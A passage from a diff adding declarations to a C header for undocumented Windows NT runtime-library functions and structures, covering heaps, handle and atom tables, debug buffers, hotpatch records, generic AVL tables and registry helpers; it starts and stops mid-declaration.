_RTL_HEAP_USAGE_ENTRY *Next; + PVOID Address; + SIZE_T Size; + USHORT AllocatorBackTraceIndex; + USHORT TagIndex; +} RTL_HEAP_USAGE_ENTRY, *PRTL_HEAP_USAGE_ENTRY; + +typedef struct _RTL_HEAP_USAGE +{ + ULONG Length; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + SIZE_T BytesReserved; + SIZE_T BytesReservedMaximum; + PRTL_HEAP_USAGE_ENTRY Entries; + PRTL_HEAP_USAGE_ENTRY AddedEntries; + PRTL_HEAP_USAGE_ENTRY RemovedEntries; + ULONG_PTR Reserved[8]; +} RTL_HEAP_USAGE, *PRTL_HEAP_USAGE; + +#define HEAP_USAGE_ALLOCATED_BLOCKS HEAP_REALLOC_IN_PLACE_ONLY +#define HEAP_USAGE_FREE_BUFFER HEAP_ZERO_MEMORY + +typedef struct _RTL_HEAP_WALK_ENTRY +{ + PVOID DataAddress; + SIZE_T DataSize; + UCHAR OverheadBytes; + UCHAR SegmentIndex; + USHORT Flags; + union + { + struct + { + SIZE_T Settable; + USHORT TagIndex; + USHORT AllocatorBackTraceIndex; + ULONG Reserved[2]; + } Block; + struct + { + ULONG CommittedSize; + ULONG UnCommittedSize; + PVOID FirstEntry; + PVOID LastEntry; + } Segment; + }; +} RTL_HEAP_WALK_ENTRY, *PRTL_HEAP_WALK_ENTRY; + +#define HeapDebuggingInformation 0x80000002 + +typedef NTSTATUS (NTAPI *PRTL_HEAP_LEAK_ENUMERATION_ROUTINE)( + IN LONG Reserved, + IN PVOID HeapHandle, + IN PVOID BaseAddress, + IN SIZE_T BlockSize, + IN ULONG StackTraceDepth, + IN PVOID *StackTrace + ); + +typedef struct _HEAP_DEBUGGING_INFORMATION +{ + PVOID InterceptorFunction; + USHORT InterceptorValue; + ULONG ExtendedOptions; + ULONG StackTraceDepth; + SIZE_T MinTotalBlockSize; + SIZE_T MaxTotalBlockSize; + PRTL_HEAP_LEAK_ENUMERATION_ROUTINE HeapLeakEnumerationRoutine; +} HEAP_DEBUGGING_INFORMATION, *PHEAP_DEBUGGING_INFORMATION; + +// added 11/04/2011 +#define PREALLOCATE_EVENT_MASK 0x80000000 + +#define RtlInitializeLockRoutine(L) RtlInitializeCriticalSectionAndSpinCount((PRTL_CRITICAL_SECTION)(L),(PREALLOCATE_EVENT_MASK | 4000)) +#define RtlAcquireLockRoutine(L) RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)(L)) +#define RtlReleaseLockRoutine(L) RtlLeaveCriticalSection((PRTL_CRITICAL_SECTION)(L)) +#define RtlDeleteLockRoutine(L) RtlDeleteCriticalSection((PRTL_CRITICAL_SECTION)(L)) + +typedef struct _RTL_MEMORY_ZONE_SEGMENT +{ + struct _RTL_MEMORY_ZONE_SEGMENT *NextSegment; + SIZE_T Size; + PVOID Next; + PVOID Limit; +} RTL_MEMORY_ZONE_SEGMENT, *PRTL_MEMORY_ZONE_SEGMENT; + +#if defined(_WINNT_) && defined(_MSC_VER) && (_MSC_VER < 1300) +typedef struct _RTL_SRWLOCK { + PVOID Ptr; +} RTL_SRWLOCK, *PRTL_SRWLOCK; +#endif + +typedef struct _RTL_MEMORY_ZONE +{ + RTL_MEMORY_ZONE_SEGMENT Segment; + RTL_SRWLOCK Lock; + ULONG LockCount; + PRTL_MEMORY_ZONE_SEGMENT FirstSegment; +} RTL_MEMORY_ZONE, *PRTL_MEMORY_ZONE; + +typedef struct _RTL_PROCESS_VERIFIER_OPTIONS +{ + ULONG SizeStruct; + ULONG Option; + UCHAR OptionData[1]; +} RTL_PROCESS_VERIFIER_OPTIONS, *PRTL_PROCESS_VERIFIER_OPTIONS; + +typedef struct _RTL_PROCESS_LOCKS { + ULONG NumberOfLocks; + RTL_PROCESS_LOCK_INFORMATION Locks[ 1 ]; +} RTL_PROCESS_LOCKS, *PRTL_PROCESS_LOCKS; + +#define MAX_STACK_DEPTH 32 + +typedef struct _RTL_PROCESS_BACKTRACE_INFORMATION { + PCHAR SymbolicBackTrace; + ULONG TraceCount; + USHORT Index; + USHORT Depth; + PVOID BackTrace[ MAX_STACK_DEPTH ]; +} RTL_PROCESS_BACKTRACE_INFORMATION, *PRTL_PROCESS_BACKTRACE_INFORMATION; + +typedef struct _RTL_PROCESS_BACKTRACES { + ULONG CommittedMemory; + ULONG ReservedMemory; + ULONG NumberOfBackTraceLookups; + ULONG NumberOfBackTraces; + RTL_PROCESS_BACKTRACE_INFORMATION BackTraces[ 1 ]; +} RTL_PROCESS_BACKTRACES, *PRTL_PROCESS_BACKTRACES; + +typedef struct _RTL_DEBUG_INFORMATION +{ + HANDLE SectionHandleClient; + PVOID ViewBaseClient; + PVOID ViewBaseTarget; + ULONG_PTR ViewBaseDelta; + HANDLE EventPairClient; + HANDLE EventPairTarget; + HANDLE TargetProcessId; + HANDLE TargetThreadHandle; + ULONG Flags; + SIZE_T OffsetFree; + SIZE_T CommitSize; + SIZE_T ViewSize; + union + { + PRTL_PROCESS_MODULES Modules; + PRTL_PROCESS_MODULE_INFORMATION_EX *ModulesEx; + }; + PRTL_PROCESS_BACKTRACES BackTraces; + PRTL_PROCESS_HEAPS Heaps; + PRTL_PROCESS_LOCKS Locks; + PVOID SpecificHeap; + HANDLE TargetProcessHandle; + PRTL_PROCESS_VERIFIER_OPTIONS VerifierOptions; + PVOID ProcessHeap; + HANDLE CriticalSectionHandle; + HANDLE CriticalSectionOwnerThread; + PVOID Reserved[4]; +} RTL_DEBUG_INFORMATION, *PRTL_DEBUG_INFORMATION; + +//added 21/03/2011 +//end + + +// added: 22/04/2011 - RtlStream +typedef struct _RTL_MEMORY_STREAM_DATA *PRTL_MEMORY_STREAM_DATA; +typedef struct _RTL_MEMORY_STREAM_WITH_VTABLE *PRTL_MEMORY_STREAM_WITH_VTABLE; +typedef struct _RTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA *PRTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA; + +HRESULT +NTAPI +RtlReleaseMemoryStream( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream + ); + +HRESULT +NTAPI +RtlSetMemoryStreamSize( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream, + ULARGE_INTEGER ULargeInteger + ); + +HRESULT +NTAPI +RtlCommitMemoryStream( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream, + ULONG NewStream + ); + +HRESULT +NTAPI +RtlRevertMemoryStream( + PRTL_MEMORY_STREAM_WITH_VTABLE MemoryStream + ); + +NTSTATUS +NTAPI +RtlCopySecurityDescriptor( + PSECURITY_DESCRIPTOR SourceDescriptor, + PSECURITY_DESCRIPTOR DestinationDescriptor + ); + + +typedef struct _RTL_HANDLE_TABLE_ENTRY +{ + union + { + ULONG Flags; + struct _RTL_HANDLE_TABLE_ENTRY *NextFree; + }; +} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY; + +#define RTL_HANDLE_ALLOCATED (USHORT)0x0001 + +typedef struct _RTL_HANDLE_TABLE +{ + ULONG MaximumNumberOfHandles; + ULONG SizeOfHandleTableEntry; + ULONG Reserved[2]; + PRTL_HANDLE_TABLE_ENTRY FreeHandles; + PRTL_HANDLE_TABLE_ENTRY CommittedHandles; + PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles; + PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles; +} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE; + +#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct _JOB_SET_ARRAY { + HANDLE JobHandle; // Handle to job object to insert + DWORD MemberLevel; // Level of this job in the set. Must be > 0. Can be sparse. + DWORD Flags; // Unused. Must be zero +} JOB_SET_ARRAY, *PJOB_SET_ARRAY; +#endif + +VOID +NTAPI +RtlInitializeHandleTable( + IN ULONG MaximumNumberOfHandles, + IN ULONG SizeOfHandleTableEntry, + OUT PRTL_HANDLE_TABLE HandleTable + ); + +NTSTATUS +NTAPI +RtlDestroyHandleTable( + IN OUT PRTL_HANDLE_TABLE HandleTable + ); + +PRTL_HANDLE_TABLE_ENTRY +NTAPI +RtlAllocateHandle( + IN PRTL_HANDLE_TABLE HandleTable, + OUT OPTIONAL PULONG HandleIndex + ); + +BOOLEAN +NTAPI +RtlFreeHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN PRTL_HANDLE_TABLE_ENTRY Handle + ); + +BOOLEAN +NTAPI +RtlIsValidHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN PRTL_HANDLE_TABLE_ENTRY Handle + ); + +BOOLEAN +NTAPI +RtlIsValidIndexHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN ULONG HandleIndex, + OUT PRTL_HANDLE_TABLE_ENTRY *Handle + ); + +#define RTL_ATOM_MAXIMUM_INTEGER_ATOM (RTL_ATOM)0xc000 +#define RTL_ATOM_INVALID_ATOM (RTL_ATOM)0x0000 +#define RTL_ATOM_TABLE_DEFAULT_NUMBER_OF_BUCKETS 37 +#define RTL_ATOM_MAXIMUM_NAME_LENGTH 255 +#define RTL_ATOM_PINNED 0x01 + +NTSTATUS +NTAPI +RtlCreateAtomTable( + IN ULONG NumberOfBuckets, + OUT PVOID *AtomTableHandle + ); + +NTSTATUS +NTAPI +RtlDestroyAtomTable( + IN PVOID AtomTableHandle + ); + +NTSTATUS +NTAPI +RtlEmptyAtomTable( + IN PVOID AtomTableHandle, + IN BOOLEAN IncludePinnedAtoms + ); + +NTSTATUS +NTAPI +RtlAddAtomToAtomTable( + IN PVOID AtomTableHandle, + IN PWSTR AtomName, + IN OUT OPTIONAL PRTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlLookupAtomInAtomTable( + IN PVOID AtomTableHandle, + IN PWSTR AtomName, + OUT OPTIONAL PRTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlDeleteAtomFromAtomTable( + IN PVOID AtomTableHandle, + IN RTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlPinAtomInAtomTable( + IN PVOID AtomTableHandle, + IN RTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlQueryAtomInAtomTable( + IN PVOID AtomTableHandle, + IN RTL_ATOM Atom, + OUT OPTIONAL PULONG AtomUsage, + OUT OPTIONAL PULONG AtomFlags, + IN OUT PWSTR AtomName, + IN OUT OPTIONAL PULONG AtomNameLength + ); + +NTSTATUS +NTAPI +RtlQueryAtomsInAtomTable( + IN PVOID AtomTableHandle, + IN ULONG MaximumNumberOfAtoms, + OUT PULONG NumberOfAtoms, + OUT PRTL_ATOM Atoms + ); + +BOOLEAN +NTAPI +RtlGetIntegerAtom( + IN PWSTR AtomName, + OUT OPTIONAL PUSHORT IntegerAtom + ); + +#define EVENT_MIN_LEVEL (0) +#define EVENT_MAX_LEVEL (0xff) + +#define EVENT_ACTIVITY_CTRL_GET_ID (1) +#define EVENT_ACTIVITY_CTRL_SET_ID (2) +#define EVENT_ACTIVITY_CTRL_CREATE_ID (3) +#define EVENT_ACTIVITY_CTRL_GET_SET_ID (4) +#define EVENT_ACTIVITY_CTRL_CREATE_SET_ID (5) + + typedef ULONGLONG REGHANDLE, *PREGHANDLE; + +#define MAX_EVENT_DATA_DESCRIPTORS (128) +#define MAX_EVENT_FILTER_DATA_SIZE (1024) + + // + // EVENT_DATA_DESCRIPTOR is used to pass in user data items + // in events. + // + + typedef struct _EVENT_DATA_DESCRIPTOR + { + ULONG_PTR Ptr; // Pointer to data + ULONG Size; // Size of data in bytes + ULONG Reserved; + } EVENT_DATA_DESCRIPTOR, *PEVENT_DATA_DESCRIPTOR; + + typedef struct _EVENT_DESCRIPTOR + { + USHORT Id; + UCHAR Version; + UCHAR Channel; + UCHAR Level; + UCHAR Opcode; + USHORT Task; + ULONGLONG Keyword; + } EVENT_DESCRIPTOR, *PEVENT_DESCRIPTOR; + typedef const EVENT_DESCRIPTOR *PCEVENT_DESCRIPTOR; + + // + // EVENT_FILTER_DESCRIPTOR is used to pass in enable filter + // data item to a user callback function. + // + typedef struct _EVENT_FILTER_DESCRIPTOR + { + ULONG_PTR Ptr; + ULONG Size; + ULONG Type; + } EVENT_FILTER_DESCRIPTOR, *PEVENT_FILTER_DESCRIPTOR; + +// +// old nt4 channel stuff +// +//#pragma pack(1) +#pragma pack() +typedef struct _CHANNEL_MESSAGE +{ + PVOID Text; + ULONG Length; + PVOID Context; + PVOID Base; + union + { + BOOLEAN Close; + LONGLONG Align; + }; +} CHANNEL_MESSAGE, *PCHANNEL_MESSAGE; + +typedef struct _HOTPATCH_HEADER +{ + ULONG Signature; + ULONG Version; + ULONG FixupRgnCount; + ULONG FixupRgnRva; + ULONG ValidationCount; + ULONG ValidationArrayRva; + ULONG HookCount; + ULONG HookArrayRva; + ULONG_PTR OrigHotpBaseAddress; + ULONG_PTR OrigTargetBaseAddress; + ULONG TargetNameRva; + ULONG ModuleIdMethod; + union { + ULONG Filler; + } TargetModuleIdValue; +} HOTPATCH_HEADER, *PHOTPATCH_HEADER; + +typedef struct _HOTPATCH_MODULE_DATA +{ + USHORT HotpatchImageNameLength; + USHORT ColdpatchImagePathLength; + WCHAR NameBuffer[ 1 ]; +} HOTPATCH_MODULE_DATA, *PHOTPATCH_MODULE_DATA; + +typedef struct _HOTPATCH_MODULE_ENTRY +{ + struct _TRIPLE_LIST_ENTRY ListEntry; + struct _HOTPATCH_MODULE_DATA Data; +} HOTPATCH_MODULE_ENTRY, *PHOTPATCH_MODULE_ENTRY; + +typedef struct _HOTPATCH_HOOK +{ + USHORT HookType; + USHORT HookOptions; + ULONG HookRva; + ULONG HotpRva; + ULONG ValidationRva; +} HOTPATCH_HOOK, *PHOTPATCH_HOOK; + +typedef struct _RTL_PATCH_HEADER +{ + LIST_ENTRY PatchList; + PVOID PatchImageBase; + struct _RTL_PATCH_HEADER* NextPatch; + ULONG PatchFlags; + LONG PatchRefCount; + struct _HOTPATCH_HEADER* HotpatchHeader; + UNICODE_STRING TargetDllName; + HANDLE TargetDllBase; + PLDR_DATA_TABLE_ENTRY TargetLdrDataTableEntry; + PLDR_DATA_TABLE_ENTRY PatchLdrDataTableEntry; + PSYSTEM_HOTPATCH_CODE_INFORMATION CodeInfo; + PVOID ColdpatchFileHandle; + HOTPATCH_MODULE_ENTRY HotpatchModuleEntry; +} RTL_PATCH_HEADER, *PRTL_PATCH_HEADER; + + + +#pragma warning(default: 4273) // nconsistent dll linkage (winnt.h) + +#ifndef _SLIST_HEADER_ +#define _SLIST_HEADER_ + +#if defined(_M_X64) + +// +// The type SINGLE_LIST_ENTRY is not suitable for use with SLISTs. For +// WIN64, an entry on an SLIST is required to be 16-byte aligned, while a +// SINGLE_LIST_ENTRY structure has only 8 byte alignment. +// +// Therefore, all SLIST code should use the SLIST_ENTRY type instead of the +// SINGLE_LIST_ENTRY type. +// + +#pragma warning(push) +#pragma warning(disable:4324) // structure padded due to align() +typedef struct DECLSPEC_ALIGN(16) _SLIST_ENTRY *PSLIST_ENTRY; +typedef struct DECLSPEC_ALIGN(16) _SLIST_ENTRY { + PSLIST_ENTRY Next; +} SLIST_ENTRY; +#pragma warning(pop) + +#else + +#define SLIST_ENTRY SINGLE_LIST_ENTRY +#define _SLIST_ENTRY _SINGLE_LIST_ENTRY +#define PSLIST_ENTRY PSINGLE_LIST_ENTRY + +#endif + +#if defined(_M_X64) + +typedef struct DECLSPEC_ALIGN(16) _SLIST_HEADER { + ULONGLONG Alignment; + ULONGLONG Region; +} SLIST_HEADER; + +typedef struct _SLIST_HEADER *PSLIST_HEADER; + +#else + +typedef union _SLIST_HEADER { + ULONGLONG Alignment; + struct { + SLIST_ENTRY Next; + WORD Depth; + WORD Sequence; + }; +} SLIST_HEADER, *PSLIST_HEADER; + +#endif + +#endif + +// +// prototypes *must* be encapsulated with extern "C" macros at start and end of prototype block +// + +PSLIST_ENTRY +__fastcall +RtlInterlockedPushListSList ( + IN PSLIST_HEADER ListHead, + IN PSLIST_ENTRY List, + IN PSLIST_ENTRY ListEnd, + IN ULONG Count + ); + +VOID +NTAPI +RtlAssert( + IN PVOID VoidFailedAssertion, + IN PVOID VoidFileName, + IN ULONG LineNumber, + IN OPTIONAL PSTR MutableMessage + ); + +VOID +NTAPI +RtlInitializeGenericTableAvl ( + PRTL_AVL_TABLE Table, + PRTL_AVL_COMPARE_ROUTINE CompareRoutine, + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine, + PRTL_AVL_FREE_ROUTINE FreeRoutine, + PVOID TableContext + ); + +PVOID +NTAPI +RtlInsertElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL + ); + +PVOID +NTAPI +RtlInsertElementGenericTableFullAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL, + PVOID NodeOrParent, + TABLE_SEARCH_RESULT SearchResult + ); + +BOOLEAN +NTAPI +RtlDeleteElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTableFullAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer, + OUT PVOID *NodeOrParent, + OUT TABLE_SEARCH_RESULT *SearchResult + ); + +PVOID +NTAPI +RtlEnumerateGenericTableAvl ( + PRTL_AVL_TABLE Table, + BOOLEAN Restart + ); + +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplayingAvl ( + PRTL_AVL_TABLE Table, + PVOID *RestartKey + ); + +PVOID +NTAPI +RtlEnumerateGenericTableLikeADirectory ( + IN PRTL_AVL_TABLE Table, + IN PRTL_AVL_MATCH_FUNCTION MatchFunction, + IN PVOID MatchData, + IN ULONG NextFlag, + IN OUT PVOID *RestartKey, + IN OUT PULONG DeleteCount, + IN OUT PVOID Buffer + ); + +PVOID +NTAPI +RtlGetElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + ULONG I + ); + +ULONG +NTAPI +RtlNumberGenericTableElementsAvl ( + PRTL_AVL_TABLE Table + ); + +BOOLEAN +NTAPI +RtlIsGenericTableEmptyAvl ( + PRTL_AVL_TABLE Table + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlSplay ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlDelete ( + PRTL_SPLAY_LINKS Links + ); + +VOID +NTAPI +RtlDeleteNoSplay ( + PRTL_SPLAY_LINKS Links, + PRTL_SPLAY_LINKS *Root + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreeSuccessor ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreePredecessor ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlRealSuccessor ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlRealPredecessor ( + PRTL_SPLAY_LINKS Links + ); + +VOID +NTAPI +RtlInitializeGenericTable ( + PRTL_GENERIC_TABLE Table, + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, + PRTL_GENERIC_FREE_ROUTINE FreeRoutine, + PVOID TableContext + ); + +PVOID +NTAPI +RtlInsertElementGenericTable ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL + ); + +PVOID +NTAPI +RtlInsertElementGenericTableFull ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL, + PVOID NodeOrParent, + TABLE_SEARCH_RESULT SearchResult + ); + +BOOLEAN +NTAPI +RtlDeleteElementGenericTable ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTable ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTableFull ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer, + OUT PVOID *NodeOrParent, + OUT TABLE_SEARCH_RESULT *SearchResult + ); + +PVOID +NTAPI +RtlEnumerateGenericTable ( + PRTL_GENERIC_TABLE Table, + BOOLEAN Restart + ); + +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplaying ( + PRTL_GENERIC_TABLE Table, + PVOID *RestartKey + ); + +PVOID +NTAPI +RtlGetElementGenericTable( + PRTL_GENERIC_TABLE Table, + ULONG I + ); + +ULONG +NTAPI +RtlNumberGenericTableElements( + PRTL_GENERIC_TABLE Table + ); + +BOOLEAN +NTAPI +RtlIsGenericTableEmpty ( + PRTL_GENERIC_TABLE Table + ); + +NTSTATUS +NTAPI +RtlInitializeHeapManager( + ); + +PVOID +NTAPI +RtlCreateHeap( + IN ULONG Flags, + IN PVOID HeapBase OPTIONAL, + IN SIZE_T ReserveSize OPTIONAL, + IN SIZE_T CommitSize OPTIONAL, + IN PVOID Lock OPTIONAL, + IN PRTL_HEAP_PARAMETERS Parameters OPTIONAL + ); + +PVOID +NTAPI +RtlDestroyHeap( + IN PVOID HeapHandle + ); + +PVOID +NTAPI +RtlAllocateHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN SIZE_T Size + ); + +BOOLEAN +NTAPI +RtlFreeHeap( + IN PVOID HeapHandle, + IN OPTIONAL ULONG Flags, + IN PVOID BaseAddress + ); + +SIZE_T +NTAPI +RtlSizeHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress + ); + +NTSTATUS +NTAPI +RtlZeroHeap( + IN PVOID HeapHandle, + IN ULONG Flags + ); + +VOID +NTAPI +RtlProtectHeap( + IN PVOID HeapHandle, + IN BOOLEAN MakeReadOnly + ); + +ULONG +NTAPI +RtlGetNtGlobalFlags( + VOID + ); + +VOID +NTAPI +RtlGetCallersAddress( + OUT PVOID *CallersAddress, + OUT PVOID *CallersCaller + ); + +ULONG +NTAPI +RtlWalkFrameChain ( + OUT PVOID *Callers, + IN ULONG Count, + IN ULONG Flags + ); + +USHORT +NTAPI +RtlLogStackBackTrace( + VOID + ); + + +ULONG +NTAPI +RtlCaptureStackContext ( + OUT PULONG_PTR Callers, + OUT PRTL_STACK_CONTEXT Context, + IN ULONG Limit + ); + +BOOLEAN +NTAPI +RtlGetNtProductType( + PNT_PRODUCT_TYPE NtProductType + ); + +NTSTATUS +NTAPI +RtlFormatCurrentUserKeyPath ( + OUT PUNICODE_STRING CurrentUserKeyPath + ); + +NTSTATUS +NTAPI +RtlOpenCurrentUser( + IN ULONG DesiredAccess, + OUT PHANDLE CurrentUserKey + ); + +NTSTATUS +NTAPI +RtlQueryRegistryValues( + IN ULONG RelativeTo, + IN PCWSTR Path, + IN PRTL_QUERY_REGISTRY_TABLE QueryTable, + IN PVOID Context, + IN PVOID Environment OPTIONAL + ); + +NTSTATUS +NTAPI +RtlWriteRegistryValue( + IN ULONG RelativeTo, + IN PCWSTR Path, + IN PCWSTR ValueName, + IN ULONG ValueType, + IN PVOID ValueData, + IN ULONG ValueLength + ); + +NTSTATUS +NTAPI +RtlDeleteRegistryValue( + IN ULONG RelativeTo, + IN PCWSTR Path, + IN PCWSTR ValueName + ); + +NTSTATUS +NTAPI +RtlCreateRegistryKey( + IN ULONG RelativeTo, + IN PWSTR Path + ); + +NTSTATUS +NTAPI +RtlCheckRegistryKey( + IN ULONG RelativeTo, + IN PWSTR Path + ); + +//added 21/03/2011 +//begin +BOOLEAN +NTAPI +RtlLockHeap( + IN PVOID HeapHandle + ); + + +BOOLEAN +NTAPI +RtlUnlockHeap( + IN PVOID HeapHandle + ); + + +PVOID +NTAPI +RtlReAllocateHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN SIZE_T Size + ); + + +BOOLEAN +NTAPI +RtlGetUserInfoHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + OUT OPTIONAL PVOID *UserValue, + OUT OPTIONAL PULONG UserFlags + ); + + +BOOLEAN +NTAPI +RtlSetUserValueHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN PVOID UserValue + ); + + +BOOLEAN +NTAPI +RtlSetUserFlagsHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN ULONG UserFlagsReset, + IN ULONG UserFlagsSet + ); + + +ULONG +NTAPI +RtlCreateTagHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN OPTIONAL PWSTR TagPrefix, + IN PWSTR TagNames + ); + + +PWSTR +NTAPI +RtlQueryTagHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN USHORT TagIndex, + IN BOOLEAN ResetCounters, + OUT OPTIONAL PRTL_HEAP_TAG_INFO TagInfo + ); + + +NTSTATUS +NTAPI +RtlExtendHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID Base, + IN SIZE_T Size + ); + + +SIZE_T +NTAPI +RtlCompactHeap( + IN PVOID HeapHandle, + IN ULONG Flags + ); + + +BOOLEAN +NTAPI +RtlValidateProcessHeaps( + ); + +ULONG +NTAPI +RtlGetProcessHeaps( + IN ULONG NumberOfHeaps, + OUT PVOID *ProcessHeaps + ); + + +NTSTATUS +NTAPI +RtlUsageHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN OUT PRTL_HEAP_USAGE Usage + ); + + +NTSTATUS +NTAPI +RtlWalkHeap( + IN PVOID HeapHandle, + IN OUT PRTL_HEAP_WALK_ENTRY Entry + ); + +#if !defined(_WINDOWS_) +NTSTATUS +NTAPI +RtlQueryHeapInformation( + IN PVOID HeapHandle, + IN HEAP_INFORMATION_CLASS HeapInformationClass, + OUT OPTIONAL PVOID HeapInformation, + IN OPTIONAL SIZE_T HeapInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + +NTSTATUS +NTAPI +RtlSetHeapInformation( + IN PVOID HeapHandle, + IN HEAP_INFORMATION_CLASS HeapInformationClass, + IN OPTIONAL PVOID HeapInformation, + IN OPTIONAL SIZE_T HeapInformationLength + ); +#endif + +ULONG +NTAPI +RtlMultipleAllocateHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN SIZE_T Size, + IN ULONG Count, + OUT PVOID *Array + ); + +ULONG +NTAPI +RtlMultipleFreeHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN ULONG Count, + IN PVOID *Array + ); + +VOID +NTAPI +RtlDetectHeapLeaks( + VOID + ); + + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSTATUS +NTAPI +RtlCreateMemoryZone( + OUT PVOID *MemoryZone, + IN SIZE_T InitialSize, + ULONG Flags + ); + +NTSTATUS +NTAPI +RtlDestroyMemoryZone( + IN PVOID MemoryZone + ); + +NTSTATUS +NTAPI +RtlAllocateMemoryZone( + IN PVOID MemoryZone, + IN SIZE_T BlockSize, + OUT PVOID *Block + ); + +NTSTATUS +NTAPI +RtlResetMemoryZone( + IN PVOID MemoryZone + ); + +NTSTATUS +NTAPI +RtlLockMemoryZone( + IN PVOID MemoryZone + ); + +NTSTATUS +NTAPI +RtlUnlockMemoryZone( + IN PVOID MemoryZone + ); +#endif + + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSTATUS +NTAPI +RtlCreateMemoryBlockLookaside( + OUT PVOID *MemoryBlockLookaside, + IN ULONG Flags, + IN ULONG InitialSize, + IN ULONG MinimumBlockSize, + IN ULONG MaximumBlockSize + ); + +NTSTATUS +NTAPI +RtlDestroyMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside + ); + +NTSTATUS +NTAPI +RtlAllocateMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside, + IN ULONG BlockSize, + OUT PVOID *Block + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFreeMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside, + IN PVOID Block + ); + +NTSTATUS +NTAPI +RtlExtendMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside, + IN ULONG Increment + ); + +NTSTATUS +NTAPI +RtlResetMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside + ); + +NTSTATUS +NTAPI +RtlLockMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside + ); + +NTSTATUS +NTAPI +RtlUnlockMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside + ); +#endif + +HANDLE +NTAPI +RtlGetCurrentTransaction( + ); + +LOGICAL +NTAPI +RtlSetCurrentTransaction( + IN HANDLE TransactionHandle + ); + +PRTL_DEBUG_INFORMATION +NTAPI +RtlCreateQueryDebugBuffer( + IN OPTIONAL ULONG MaximumCommit, + IN BOOLEAN UseEventPair + ); + +NTSTATUS +NTAPI +RtlDestroyQueryDebugBuffer( + IN PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessDebugInformation( + IN HANDLE UniqueProcessId, + IN ULONG Flags, + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + + +//added 21/03/2011 +//end + +ULONG +NTAPI +RtlUniform ( + PULONG Seed + ); + +NTSTATUS +RtlComputeImportTableHash( + IN HANDLE hFile, + OUT PCHAR Hash, + IN ULONG ImportTableHashRevision + ); + +NTSTATUS +NTAPI +RtlIntegerToChar ( + ULONG Value, + ULONG Base, + LONG OutputLength, + PSZ String + ); + +NTSTATUS +NTAPI +RtlIntegerToUnicode ( + IN ULONG Value, + IN ULONG Base OPTIONAL, + IN LONG OutputLength, + OUT PWSTR String + ); + +NTSTATUS +NTAPI 